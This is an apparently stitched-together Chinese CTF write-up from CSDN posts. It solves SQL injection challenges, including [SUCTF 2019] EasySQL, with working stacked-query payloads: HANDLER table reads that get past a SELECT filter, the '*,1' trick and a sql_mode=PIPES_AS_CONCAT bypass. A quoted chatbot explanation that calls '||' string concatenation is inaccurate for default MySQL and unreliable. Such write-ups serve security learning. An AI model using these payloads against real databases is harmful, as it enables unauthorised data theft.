参考:https://blog.csdn.net/qq_44657899/article/details/10323914
回显flag:
第三种解法 handler代替select
select命令被过滤了怎么办?我们还可以用handler命令进行查看,handler命令可以一行一行的显示数据表中的内容。
构造payload:
1'; handler
1919810931114514open as
a; handler
a read next;#
handler代替select,以一行一行显示内容
open打开表
as更改表的别名为a
read next读取数据文件内的数据次数
上传payload,回显flag:
原文链接:https://blog.csdn.net/m0_73734159/article/details/134049744?spm=1001.2014.3001.5501
数字型注入和堆叠查询手法原理
【例题】[SUCTF 2019]EasySQL 1
题目环境:
把你的旗子给我,我会告诉你旗子是不是对的。
判断注入类型
1'
回显结果
不是字符型SQL注入
1
回显结果
数字型SQL注入
查所有数据库,采用堆叠注入
1;show databases;
查看所有数据表
1;show tables;
尝试爆Flag数据表的字段
1;show columns from Flag;
回显错误
到这里,大佬们直接猜出了后端语句
select $_GET['query'] || flag from Flag
我直接好家伙,大佬果然是大佬
||就是SQL里面的逻辑或运算符
第一种解法 添加新列绕过逻辑或运算符:
***,1**
那么传到后端语句就是
select *,1 || flag from Flag
这里我问了下文心一言,看完我也理解了
这段SQL代码的含义是:从Flag表中选择所有的列,以及由列flag的值与数字1进行连接生成的新列。
具体来说:
select *:选择所有的列。
1 || flag:这是SQL中的字符串连接操作。它将数字1与flag列的值进行连接。对于每一行,都会生成一个新的字符串,这个字符串是数字1后跟着flag列的值。如果flag列的值本身是一个字符串,那么这两个字符串将被连接起来。
from Flag:从Flag表中选择数据。
因此,这段代码的输出结果将包含Flag表的所有列,以及一个名为“1”的列,该列的值是flag列的值与数字1的连接。
大致意思,就是查看数据表Flag的所有列内容,然后添加了一个由列flag的值与数字1进行连接生成的新列,这个新的列名就叫1,那么猜测或者说就是flag被过滤,我们还能查到flag列的值,因为flag的值复制到了新的列1。
*,0
可以明显看到新的列名0和flag的值连接起来了
*,1
对吧,新列名为1
*,2
还是为1,所有还可以看出Flag数据表的列只能是两个
第二种解法 改逻辑或运算符为字符串连接符:
既然题目内置的是逻辑或运算符,那咱们直接把它改成字符串连接符不就好了嘛(滑稽)
使用set方法定义sql_mode参数设置,PIPES_AS_CONCAT字符串连接符select 1
查询第一列
1;set sql_mode=PIPES_AS_CONCAT;select 1
回显结果:
可以明显看出解法1和解法2的回显结果有明显不同
原文链接:https://blog.csdn.net/m0_73734159/article/details/134142483?spm=1001.2014.3001.5501